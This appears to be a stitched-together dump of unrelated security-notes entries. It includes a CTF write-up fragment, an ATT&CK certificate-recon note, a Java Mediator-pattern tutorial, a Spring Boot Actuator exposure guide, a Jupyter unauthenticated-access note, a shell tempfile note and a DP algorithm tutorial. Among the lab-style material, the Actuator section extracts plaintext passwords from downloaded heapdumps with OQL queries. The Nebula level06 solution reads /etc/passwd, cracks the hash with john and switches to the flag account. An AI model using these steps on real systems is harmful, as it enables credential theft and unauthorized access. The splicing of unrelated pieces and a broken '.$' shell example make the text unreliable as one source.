eps = mpf("0.000000000000000000000000000000000000000000000000000000000000000000000000016")
if mp.sqrt(q) - mp.sqrt(p) >= eps:
print(q - p, eps - (mp.sqrt(q) - mp.sqrt(p)))
print(mp.sqrt(q) - mp.sqrt(p))
print(mp.sqrt(q) - mp.sqrt(p) >= eps)
print(p)
break
p = q
```
And after a short moment we got back `6703903964971298549787012499102923063739682910296196688861780721860882015036773488400937149083451713845015929093243025426876941405973284973216824506199727`
Sending this value to the server gives us: `ASIS{C4n_y0U_prOv3__Andrica__Conjecture?}`
|
sec-knowleage
|
# T1596-003-搜索开放的技术数据库-数字签名
## 来自ATT&CK的描述
在入侵受害者之前,攻击者可以在公开的数字证书数据中搜索可在目标确定期间使用的有关受害者的信息。数字证书由证书颁发机构(CA)颁发,以加密方式验证签名内容的来源。这些证书,例如用于加密Web流量(HTTPS SSL / TLS通信)的证书,包含有关注册组织的信息,例如名称和位置。
攻击者可以搜索数字证书数据以收集可操作的信息。威胁方可以使用在线资源和查找工具来收集有关证书的信息(引自:SSLShopper Lookup) 。数字证书数据也可以从组织签名的工件中获得(例如:加密的网络流量中使用的证书随内容一起提供)(引自:Medium SSL Cert)。 这些来源提供的信息可能为其他形式的侦察提供可能性(例如:[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)或[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133)或[信任关系](https://contribute.knowledge.qihoo.net/detail/technique/T1199))。
## 测试案例
证书透明度(Certificate Transparency,CT)是证书授权机构(CA)的一个项目,证书授权机构会为每一个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮箱地址,这些也经常成为攻击者非常希望获得的有用信息。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。
1. <https://crt.sh/>
2. <https://censys.io/>
3. <https://developers.facebook.com/tools/ct/>
4. <https://google.com/transparencyreport/https/ct/>
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。
## 参考推荐
MITRE-ATT&CK-T1596-003
<https://attack.mitre.org/techniques/T1596/003/>
全流程信息收集方法总结
<https://www.freebuf.com/articles/database/195169.html>
【知了堂信安笔记】渗透测试之信息收集(二)
<https://zhuanlan.zhihu.com/p/86250911>
|
sec-knowleage
|
## 5. 中介者(Mediator)
### Intent
集中相关对象之间复杂的沟通和控制方式。
### Class Diagram
- Mediator:中介者,定义一个接口用于与各同事(Colleague)对象通信。
- Colleague:同事,相关对象
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/30d6e95c-2e3c-4d32-bf4f-68128a70bc05.png"/> </div><br>
### Implementation
Alarm(闹钟)、CoffeePot(咖啡壶)、Calendar(日历)、Sprinkler(喷头)是一组相关的对象,在某个对象的事件产生时需要去操作其它对象,形成了下面这种依赖结构:
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg"/> </div><br>
使用中介者模式可以将复杂的依赖结构变成星形结构:
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg"/> </div><br>
```java
public abstract class Colleague {
public abstract void onEvent(Mediator mediator);
}
```
```java
public class Alarm extends Colleague {
@Override
public void onEvent(Mediator mediator) {
mediator.doEvent("alarm");
}
public void doAlarm() {
System.out.println("doAlarm()");
}
}
```
```java
public class CoffeePot extends Colleague {
@Override
public void onEvent(Mediator mediator) {
mediator.doEvent("coffeePot");
}
public void doCoffeePot() {
System.out.println("doCoffeePot()");
}
}
```
```java
public class Calender extends Colleague {
@Override
public void onEvent(Mediator mediator) {
mediator.doEvent("calender");
}
public void doCalender() {
System.out.println("doCalender()");
}
}
```
```java
public class Sprinkler extends Colleague {
@Override
public void onEvent(Mediator mediator) {
mediator.doEvent("sprinkler");
}
public void doSprinkler() {
System.out.println("doSprinkler()");
}
}
```
```java
public abstract class Mediator {
public abstract void doEvent(String eventType);
}
```
```java
public class ConcreteMediator extends Mediator {
private Alarm alarm;
private CoffeePot coffeePot;
private Calender calender;
private Sprinkler sprinkler;
public ConcreteMediator(Alarm alarm, CoffeePot coffeePot, Calender calender, Sprinkler sprinkler) {
this.alarm = alarm;
this.coffeePot = coffeePot;
this.calender = calender;
this.sprinkler = sprinkler;
}
@Override
public void doEvent(String eventType) {
switch (eventType) {
case "alarm":
doAlarmEvent();
break;
case "coffeePot":
doCoffeePotEvent();
break;
case "calender":
doCalenderEvent();
break;
default:
doSprinklerEvent();
}
}
public void doAlarmEvent() {
alarm.doAlarm();
coffeePot.doCoffeePot();
calender.doCalender();
sprinkler.doSprinkler();
}
public void doCoffeePotEvent() {
// ...
}
public void doCalenderEvent() {
// ...
}
public void doSprinklerEvent() {
// ...
}
}
```
```java
public class Client {
public static void main(String[] args) {
Alarm alarm = new Alarm();
CoffeePot coffeePot = new CoffeePot();
Calender calender = new Calender();
Sprinkler sprinkler = new Sprinkler();
Mediator mediator = new ConcreteMediator(alarm, coffeePot, calender, sprinkler);
// 闹钟事件到达,调用中介者就可以操作相关对象
alarm.onEvent(mediator);
}
}
```
```java
doAlarm()
doCoffeePot()
doCalender()
doSprinkler()
```
### JDK
- All scheduleXXX() methods of [java.util.Timer](http://docs.oracle.com/javase/8/docs/api/java/util/Timer.html)
- [java.util.concurrent.Executor#execute()](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/Executor.html#execute-java.lang.Runnable-)
- submit() and invokeXXX() methods of [java.util.concurrent.ExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ExecutorService.html)
- scheduleXXX() methods of [java.util.concurrent.ScheduledExecutorService](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ScheduledExecutorService.html)
- [java.lang.reflect.Method#invoke()](http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Method.html#invoke-java.lang.Object-java.lang.Object...-)
|
sec-knowleage
|
# SpringBoot Actuator未授权访问漏洞
## 简介
Spring Boot Actuator是Spring Boot项目中的一个模块,它提供了一组用于监控和管理Spring Boot应用程序的端点。这些端点可以用来检索应用程序的运行状态、查看应用程序的统计数据、查看应用程序中的配置信息等。
此外,还可以使用Actuator执行一些安全操作,如关闭应用程序。使用Actuator可以更好的监控、管理和维护Spring Boot应用程序。
其中以下是它端点:
| Http | 路径 | 描述 |
| :--: | :-------------: | :----------------------------------------------------------: |
| get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
| get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
| get | /dump | 获取线程活动的快照 |
| get | /env | 获取全部环境属性 |
| get | /env/{name} | 根据名称获取特定的环境属性值 |
| get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
| get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
| get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
| get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
| get | /metrics/{name} | 报告指定名称的应用程序度量值 |
| post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
| get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
| get | /heapdump | 获取正在运行的JVM的堆转储 |
## 环境搭建
> SpringBoot Actuator未授权访问漏洞分为1.x版本和2.x版本。
### srpingboot 2.x
下载demo代码
```
git clone https://github.com/callicoder/spring-boot-actuator-demo.git
```
maven将项目代码构建成jar包。
```
mvn package
```
启动Spring Boot应用程序
```
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
```

浏览器访问: [http://localhost:8080](http://localhost:8080/).
### srpingboot 1.x
使用IDEA**新建一个maven项目**。修改`pom.xml`,声明了一个父级依赖关系,表示该项目依赖于Spring Boot的`spring-boot-starter-parent`项目,版本为1.4.6.RELEASE。
```
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.4.6.RELEASE</version>
</parent>
<!-- Add typical dependencies for a web application -->
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
```
新增测试文件:`\src\main\java\Example.java`
```
import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;
@RestController
@EnableAutoConfiguration
public class Example {
@RequestMapping("/")
String home() {
return "Hello World!";
}
public static void main(String[] args) throws Exception {
SpringApplication.run(Example.class, args);
}
}
```
修改`application.properties`
```
endpoints.beans.enabled=true
spring.redis.password=123456
```
## 漏洞复现
### srpingboot 2.x
访问`/info`接口,泄露springboot项目信息。

访问`/env`接口,泄露springboot环境变量信息。

### springboot 1.x
访问`/metrics`接口,显示应用的信息。

访问`/trace`接口,显示访问数据包具体信息。

## heapdump泄露读取
Spring Boot Actuator的堆转储功能如果没有适当的配置,可能是一个安全漏洞。它允许通过URL获取正在运行的JVM的堆转储,其中可能包含敏感信息。
访问`/heapdump`接口下载heapdump文件。
### jvisualvm分析
JVisualVM是由Oracle提供的Java可视化和监控工具。它包含在Oracle JDK分发版中,可用于监视和配置Java应用程序,诊断性能问题,并检查内存使用和堆转储。
JVisualVM提供了各种功能,包括:
- 监控JVM性能、内存使用和线程
- 配置Java应用程序的CPU和内存使用情况
- 堆转储分析和内存泄漏检测
- JMX控制台,用于检查和管理MBeans
打开`jvisualvm.exe`

加载heapdump文件

在工具菜单栏点击插件,安装OQL插件

构建OQL语句进行关键字查询,从而获取明文密码。
Spring boot 1.x版本查询语句:
```
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
```

Spring boot 2.x版本查询语句:
```
select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())
```
### jhat
JHat是Java堆分析工具。它可以用于分析Java堆转储文件,以找出内存泄漏和其他内存问题。并且提供了一个网页界面,允许用户浏览堆转储中的对象,检查引用关系,检查内存使用情况等。
使用jhat命令分析heapdump文件,会启动7000端口web页面。

访问7000端口,**需要人工搜索关键字**。

### **heapdump_tool**
本质上是基于jhat,通过通过jhat解析heapdump文件,从而实现heapdump敏感信息搜索。
> 下载链接:https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar
```
java -jar heapdump_tool.jar heapdump
```
选择1,获取全部内容
然后输入关键字
> 查询方式:
>
> 1. 关键词 例如 password
> 2. 字符长度 len=10 获取长度为10的所有key或者value值
> 3. 按顺序获取 num=1-100 获取顺序1-100的字符
> 获取url,file,ip
> geturl 获取所有字符串中的url
> getfile 获取所有字符串中的文件路径文件名
> getip 获取所有字符串中的ip
> 默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true,all=false取消显示所有值。

### mat
Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。
可以使用Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。
独立版下载地址:http://www.eclipse.org/mat/downloads.php
> 最新版用Java 11,可以下载历史版本
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 `java.util.Hashtable$Entry `实例的键值对中
```
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
```
spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 `java.util.LinkedHashMap$Entry` 实例的键值对中:
```
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
```

## 修复建议
### springboot 2.x修复方法
##### 禁用接口
`application.properties`配置文件内改成:`management.endpoint.beans.enabled=false`
```
management.endpoint.beans.enabled=false
```

##### actuator接口进行鉴权
`application.properties`
```
# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN
```
如果需要访问actuator接口,则可以自定义代码,引用security进行鉴权访问。
`\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java`
```
package com.example.actuatordemo.config;
import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
import org.springframework.boot.actuate.context.ShutdownEndpoint;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
/*
This spring security configuration does the following
1. Restrict access to the Shutdown endpoint to the ACTUATOR_ADMIN role.
2. Allow access to all other actuator endpoints.
3. Allow access to static resources.
4. Allow access to the home page (/).
5. All other requests need to be authenticated.
5. Enable http basic authentication to make the configuration complete.
You are free to use any other form of authentication.
*/
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
//注释掉可以对actuator路径进行鉴权
// .requestMatchers(EndpointRequest.to(ShutdownEndpoint.class))
// .hasRole("ACTUATOR_ADMIN")
// .requestMatchers(EndpointRequest.toAnyEndpoint())
// .permitAll()
.requestMatchers(PathRequest.toStaticResources().atCommonLocations())
.permitAll()
.antMatchers("/", "/slowApi")
.permitAll()
.antMatchers("/**")
.authenticated()
.and()
.httpBasic();
}
}
```
> 此Spring Security配置执行以下操作:
>
> 1. 对Shutdown端点的访问受限制,仅限于ACTUATOR_ADMIN角色。
> 2. 允许对所有其他actuator端点的访问。
> 3. 允许对静态资源的访问。
> 4. 允许访问主页(/)。
> 5. 所有其他请求都需要进行身份验证。
> 6. 启用http基本身份验证以完成配置。您可以自由使用其他形式的身份验证。
`\src\main\java\com\example\actuatordemo\controller\SampleController.java`
```
package com.example.actuatordemo.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.Random;
import java.util.concurrent.TimeUnit;
@RestController
public class SampleController {
@GetMapping("/")
public String sayHello(@RequestParam(value = "name", defaultValue = "Guest") String name) {
return "Hello " + name + "!!";
}
@GetMapping("/slowApi")
public String timeConsumingAPI(@RequestParam(value = "delay", defaultValue = "0") Integer delay) throws InterruptedException {
if(delay == 0) {
Random random = new Random();
delay = random.nextInt(10);
}
TimeUnit.SECONDS.sleep(delay);
return "Result";
}
}
```
> 此控制器执行以下操作:
>
> 1. 定义了一个"/ "路径,返回带有请求参数名称的问候语。
> 2. 定义了一个"/slowApi"路径,可以模拟耗时的API请求,可以通过请求参数"delay"指定延迟,如果未指定,则随机生成延迟。
`\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java`
```
package com.example.actuatordemo.health;
import org.springframework.boot.actuate.health.AbstractHealthIndicator;
import org.springframework.boot.actuate.health.Health;
import org.springframework.stereotype.Component;
@Component
public class CustomHealthIndicator extends AbstractHealthIndicator {
@Override
protected void doHealthCheck(Health.Builder builder) throws Exception {
// Use the builder to build the health status details that should be reported.
// If you throw an exception, the status will be DOWN with the exception message.
builder.up()
.withDetail("app", "Alive and Kicking")
.withDetail("error", "Nothing! I'm good.");
}
}
```
> 这是一个健康指标组件,继承自AbstractHealthIndicator。
>
> doHealthCheck方法构建健康状态的详细信息,如果抛出异常,状态将是DOWN,并带有异常信息。
>
> 该示例报告应用程序的健康状态是"Alive and Kicking",错误是"Nothing! I'm good."
启动服务访问actuator就可以看到需要输入密码

### springboot 1.x修复方案
##### 禁用接口
```
#关闭全部接口
endpoints.enabled = false
###只开启某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
```
##### 鉴权
另外也可以引入`spring-boot-starter-security`依赖
```
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
```
在`application.properties`中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。
```
management.security.enabled=true
security.user.name=admin
security.user.password=admin
```
|
sec-knowleage
|
# Jupyter Notebook 未授权访问漏洞
## 漏洞描述
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为 Jupyter Notebook 配置密码,将导致未授权访问漏洞,游客可在其中创建一个 console 并执行任意 Python 代码和命令。
## 环境搭建
```
version: '2'
services:
web:
image: vulhub/jupyter-notebook:5.2.2
command: start-notebook.sh --NotebookApp.token=''
ports:
- "8888:8888"
```
运行后,访问 `http://your-ip:8888` 将看到 Jupyter Notebook 的 Web 管理界面,并没有要求填写密码。
## 漏洞复现
选择 new -> terminal 即可创建一个控制台:

直接执行任意命令:

|
sec-knowleage
|
tempfile
===
shell中给临时文件命名
## 补充说明
有时候在写Shell脚本的时候需要一些临时存储数据的才做,最适合存储临时文件数据的位置就是`/tmp`,因为该目录中所有的内容在系统重启后就会被清空。下面是两种方法为临时数据生成标准的文件名。
### tempfile命令
`tempfile命令`只有在基于Debian的发行版中才默认自带,比如Ubuntu,其他发行版没有这个命令。
用tempfile命令为一个临时文件命名:
```shell
temp_file_name=$(tempfile)
```
用一个加带了随机数的文件名作为临时文件命名:
```shell
temp_file_name="/tmp/file_$RANDOM"
```
$RANDOM是一个返回随机数的环境变量。
### $$变量
如果没有tempfile命令的Linux发行版,也可以使用自己的临时文件名:
```shell
temp_file_name="/tmp/file.$"
```
`$$`是系统预定义变量,显示当前所在进程的进程号,用`.$$`作为添加的后缀会被扩展成当前运行脚本的进程id。
|
sec-knowleage
|
# Level06
#### About
The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06. Files for this level can be found in /home/flag06.
#### Source code
There is no source code available for this level
#### Solutions
```
sed -n '37 p' /etc/passwd > /tmp/crack_pwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
john crack_pwd ----> password: hello
john --show crack_pwd
su flag06 <---- hello
/bin/getflag
```
|
sec-knowleage
|
# Leetcode 题解 - 动态规划
<!-- GFM-TOC -->
* [Leetcode 题解 - 动态规划](#leetcode-题解---动态规划)
* [斐波那契数列](#斐波那契数列)
* [1. 爬楼梯](#1-爬楼梯)
* [2. 强盗抢劫](#2-强盗抢劫)
* [3. 强盗在环形街区抢劫](#3-强盗在环形街区抢劫)
* [4. 信件错排](#4-信件错排)
* [5. 母牛生产](#5-母牛生产)
* [矩阵路径](#矩阵路径)
* [1. 矩阵的最小路径和](#1-矩阵的最小路径和)
* [2. 矩阵的总路径数](#2-矩阵的总路径数)
* [数组区间](#数组区间)
* [1. 数组区间和](#1-数组区间和)
* [2. 数组中等差递增子区间的个数](#2-数组中等差递增子区间的个数)
* [分割整数](#分割整数)
* [1. 分割整数的最大乘积](#1-分割整数的最大乘积)
* [2. 按平方数来分割整数](#2-按平方数来分割整数)
* [3. 分割整数构成字母字符串](#3-分割整数构成字母字符串)
* [最长递增子序列](#最长递增子序列)
* [1. 最长递增子序列](#1-最长递增子序列)
* [2. 一组整数对能够构成的最长链](#2-一组整数对能够构成的最长链)
* [3. 最长摆动子序列](#3-最长摆动子序列)
* [最长公共子序列](#最长公共子序列)
* [1. 最长公共子序列](#1-最长公共子序列)
* [0-1 背包](#0-1-背包)
* [1. 划分数组为和相等的两部分](#1-划分数组为和相等的两部分)
* [2. 改变一组数的正负号使得它们的和为一给定数](#2-改变一组数的正负号使得它们的和为一给定数)
* [3. 01 字符构成最多的字符串](#3-01-字符构成最多的字符串)
* [4. 找零钱的最少硬币数](#4-找零钱的最少硬币数)
* [5. 找零钱的硬币数组合](#5-找零钱的硬币数组合)
* [6. 字符串按单词列表分割](#6-字符串按单词列表分割)
* [7. 组合总和](#7-组合总和)
* [股票交易](#股票交易)
* [1. 需要冷却期的股票交易](#1-需要冷却期的股票交易)
* [2. 需要交易费用的股票交易](#2-需要交易费用的股票交易)
* [3. 只能进行两次的股票交易](#3-只能进行两次的股票交易)
* [4. 只能进行 k 次的股票交易](#4-只能进行-k-次的股票交易)
* [字符串编辑](#字符串编辑)
* [1. 删除两个字符串的字符使它们相等](#1-删除两个字符串的字符使它们相等)
* [2. 编辑距离](#2-编辑距离)
* [3. 复制粘贴字符](#3-复制粘贴字符)
<!-- GFM-TOC -->
递归和动态规划都是将原问题拆成多个子问题然后求解,他们之间最本质的区别是,动态规划保存了子问题的解,避免重复计算。
## 斐波那契数列
### 1. 爬楼梯
70\. Climbing Stairs (Easy)
[Leetcode](https://leetcode.com/problems/climbing-stairs/description/) / [力扣](https://leetcode-cn.com/problems/climbing-stairs/description/)
题目描述:有 N 阶楼梯,每次可以上一阶或者两阶,求有多少种上楼梯的方法。
定义一个数组 dp 存储上楼梯的方法数(为了方便讨论,数组下标从 1 开始),dp[i] 表示走到第 i 个楼梯的方法数目。
第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达,走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-2]" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/14fe1e71-8518-458f-a220-116003061a83.png" width="200px"> </div><br>
考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关,因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2],使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度。
```java
public int climbStairs(int n) {
if (n <= 2) {
return n;
}
int pre2 = 1, pre1 = 2;
for (int i = 2; i < n; i++) {
int cur = pre1 + pre2;
pre2 = pre1;
pre1 = cur;
}
return pre1;
}
```
### 2. 强盗抢劫
198\. House Robber (Easy)
[Leetcode](https://leetcode.com/problems/house-robber/description/) / [力扣](https://leetcode-cn.com/problems/house-robber/description/)
题目描述:抢劫一排住户,但是不能抢邻近的住户,求最大抢劫量。
定义 dp 数组用来存储最大的抢劫量,其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
由于不能抢劫邻近住户,如果抢劫了第 i -1 个住户,那么就不能再抢劫第 i 个住户,所以
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=max(dp[i-2]+nums[i],dp[i-1])" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2de794ca-aa7b-48f3-a556-a0e2708cb976.jpg" width="350px"> </div><br>
```java
public int rob(int[] nums) {
int pre2 = 0, pre1 = 0;
for (int i = 0; i < nums.length; i++) {
int cur = Math.max(pre2 + nums[i], pre1);
pre2 = pre1;
pre1 = cur;
}
return pre1;
}
```
### 3. 强盗在环形街区抢劫
213\. House Robber II (Medium)
[Leetcode](https://leetcode.com/problems/house-robber-ii/description/) / [力扣](https://leetcode-cn.com/problems/house-robber-ii/description/)
```java
public int rob(int[] nums) {
if (nums == null || nums.length == 0) {
return 0;
}
int n = nums.length;
if (n == 1) {
return nums[0];
}
return Math.max(rob(nums, 0, n - 2), rob(nums, 1, n - 1));
}
private int rob(int[] nums, int first, int last) {
int pre2 = 0, pre1 = 0;
for (int i = first; i <= last; i++) {
int cur = Math.max(pre1, pre2 + nums[i]);
pre2 = pre1;
pre1 = cur;
}
return pre1;
}
```
### 4. 信件错排
题目描述:有 N 个 信 和 信封,它们被打乱,求错误装信方式的数量。
定义一个数组 dp 存储错误方式数量,dp[i] 表示前 i 个信和信封的错误方式数量。假设第 i 个信装到第 j 个信封里面,而第 j 个信装到第 k 个信封里面。根据 i 和 k 是否相等,有两种情况:
- i==k,交换 i 和 j 的信后,它们的信和信封在正确的位置,但是其余 i-2 封信有 dp[i-2] 种错误装信的方式。由于 j 有 i-1 种取值,因此共有 (i-1)\*dp[i-2] 种错误装信方式。
- i != k,交换 i 和 j 的信后,第 i 个信和信封在正确的位置,其余 i-1 封信有 dp[i-1] 种错误装信方式。由于 j 有 i-1 种取值,因此共有 (i-1)\*dp[i-1] 种错误装信方式。
综上所述,错误装信数量方式数量为:
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=(i-1)*dp[i-2]+(i-1)*dp[i-1]" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/da1f96b9-fd4d-44ca-8925-fb14c5733388.png" width="350px"> </div><br>
### 5. 母牛生产
[程序员代码面试指南-P181](#)
题目描述:假设农场中成熟的母牛每年都会生 1 头小母牛,并且永远不会死。第一年有 1 只小母牛,从第二年开始,母牛开始生小母牛。每只小母牛 3 年之后成熟又可以生小母牛。给定整数 N,求 N 年后牛的数量。
第 i 年成熟的牛的数量为:
<!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-3]" class="mathjax-pic"/></div> <br>-->
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/879814ee-48b5-4bcb-86f5-dcc400cb81ad.png" width="250px"> </div><br>
## 矩阵路径
### 1. 矩阵的最小路径和
64\. Minimum Path Sum (Medium)
[Leetcode](https://leetcode.com/problems/minimum-path-sum/description/) / [力扣](https://leetcode-cn.com/problems/minimum-path-sum/description/)
```html
[[1,3,1],
[1,5,1],
[4,2,1]]
Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
```
题目描述:求从矩阵的左上角到右下角的最小路径和,每次只能向右和向下移动。
```java
public int minPathSum(int[][] grid) {
if (grid.length == 0 || grid[0].length == 0) {
return 0;
}
int m = grid.length, n = grid[0].length;
int[] dp = new int[n];
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (j == 0) {
dp[j] = dp[j]; // 只能从上侧走到该位置
} else if (i == 0) {
dp[j] = dp[j - 1]; // 只能从左侧走到该位置
} else {
dp[j] = Math.min(dp[j - 1], dp[j]);
}
dp[j] += grid[i][j];
}
}
return dp[n - 1];
}
```
### 2. 矩阵的总路径数
62\. Unique Paths (Medium)
[Leetcode](https://leetcode.com/problems/unique-paths/description/) / [力扣](https://leetcode-cn.com/problems/unique-paths/description/)
题目描述:统计从矩阵左上角到右下角的路径总数,每次只能向右或者向下移动。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/dc82f0f3-c1d4-4ac8-90ac-d5b32a9bd75a.jpg" width=""> </div><br>
```java
public int uniquePaths(int m, int n) {
int[] dp = new int[n];
Arrays.fill(dp, 1);
for (int i = 1; i < m; i++) {
for (int j = 1; j < n; j++) {
dp[j] = dp[j] + dp[j - 1];
}
}
return dp[n - 1];
}
```
也可以直接用数学公式求解,这是一个组合问题。机器人总共移动的次数 S=m+n-2,向下移动的次数 D=m-1,那么问题可以看成从 S 中取出 D 个位置的组合数量,这个问题的解为 C(S, D)。
```java
public int uniquePaths(int m, int n) {
int S = m + n - 2; // 总共的移动次数
int D = m - 1; // 向下的移动次数
long ret = 1;
for (int i = 1; i <= D; i++) {
ret = ret * (S - D + i) / i;
}
return (int) ret;
}
```
## 数组区间
### 1. 数组区间和
303\. Range Sum Query - Immutable (Easy)
[Leetcode](https://leetcode.com/problems/range-sum-query-immutable/description/) / [力扣](https://leetcode-cn.com/problems/range-sum-query-immutable/description/)
```html
Given nums = [-2, 0, 3, -5, 2, -1]
sumRange(0, 2) -> 1
sumRange(2, 5) -> -1
sumRange(0, 5) -> -3
```
求区间 i \~ j 的和,可以转换为 sum[j + 1] - sum[i],其中 sum[i] 为 0 \~ i - 1 的和。
```java
class NumArray {
private int[] sums;
public NumArray(int[] nums) {
sums = new int[nums.length + 1];
for (int i = 1; i <= nums.length; i++) {
sums[i] = sums[i - 1] + nums[i - 1];
}
}
public int sumRange(int i, int j) {
return sums[j + 1] - sums[i];
}
}
```
### 2. 数组中等差递增子区间的个数
413\. Arithmetic Slices (Medium)
[Leetcode](https://leetcode.com/problems/arithmetic-slices/description/) / [力扣](https://leetcode-cn.com/problems/arithmetic-slices/description/)
```html
A = [0, 1, 2, 3, 4]
return: 6, for 3 arithmetic slices in A:
[0, 1, 2],
[1, 2, 3],
[0, 1, 2, 3],
[0, 1, 2, 3, 4],
[ 1, 2, 3, 4],
[2, 3, 4]
```
dp[i] 表示以 A[i] 为结尾的等差递增子区间的个数。
当 A[i] - A[i-1] == A[i-1] - A[i-2],那么 [A[i-2], A[i-1], A[i]] 构成一个等差递增子区间。而且在以 A[i-1] 为结尾的递增子区间的后面再加上一个 A[i],一样可以构成新的递增子区间。
```html
dp[2] = 1
[0, 1, 2]
dp[3] = dp[2] + 1 = 2
[0, 1, 2, 3], // [0, 1, 2] 之后加一个 3
[1, 2, 3] // 新的递增子区间
dp[4] = dp[3] + 1 = 3
[0, 1, 2, 3, 4], // [0, 1, 2, 3] 之后加一个 4
[1, 2, 3, 4], // [1, 2, 3] 之后加一个 4
[2, 3, 4] // 新的递增子区间
```
综上,在 A[i] - A[i-1] == A[i-1] - A[i-2] 时,dp[i] = dp[i-1] + 1。
